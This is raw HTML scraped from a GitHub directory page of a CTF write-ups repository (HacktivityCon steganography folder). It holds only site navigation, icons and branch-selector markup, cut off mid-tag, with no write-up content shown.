0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> csivitu </span> <span>/</span> CTF-Write-ups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>3</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>15</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/csivitu/CTF-Write-ups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":271607379,"originating_url":"https://github.com/csivitu/CTF-Write-ups/tree/master/HacktivityCon%20CTF/Steganography","user_id":null}}" data-hydro-click-hmac="cc2458a1284a61cdd3caf3d29d5ab4251502fcb4b4a76188f535b63c37a9191c"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/csivitu/CTF-Write-ups/refs" cache-key="v0:1633249178.568328" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Y3Npdml0dS9DVEYtV3JpdGUtdXBz" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/csivitu/CTF-Write-ups/refs" cache-key="v0:1633249178.568328" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Y3Npdml0dS9DVEYtV3JpdGUtdXBz" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" 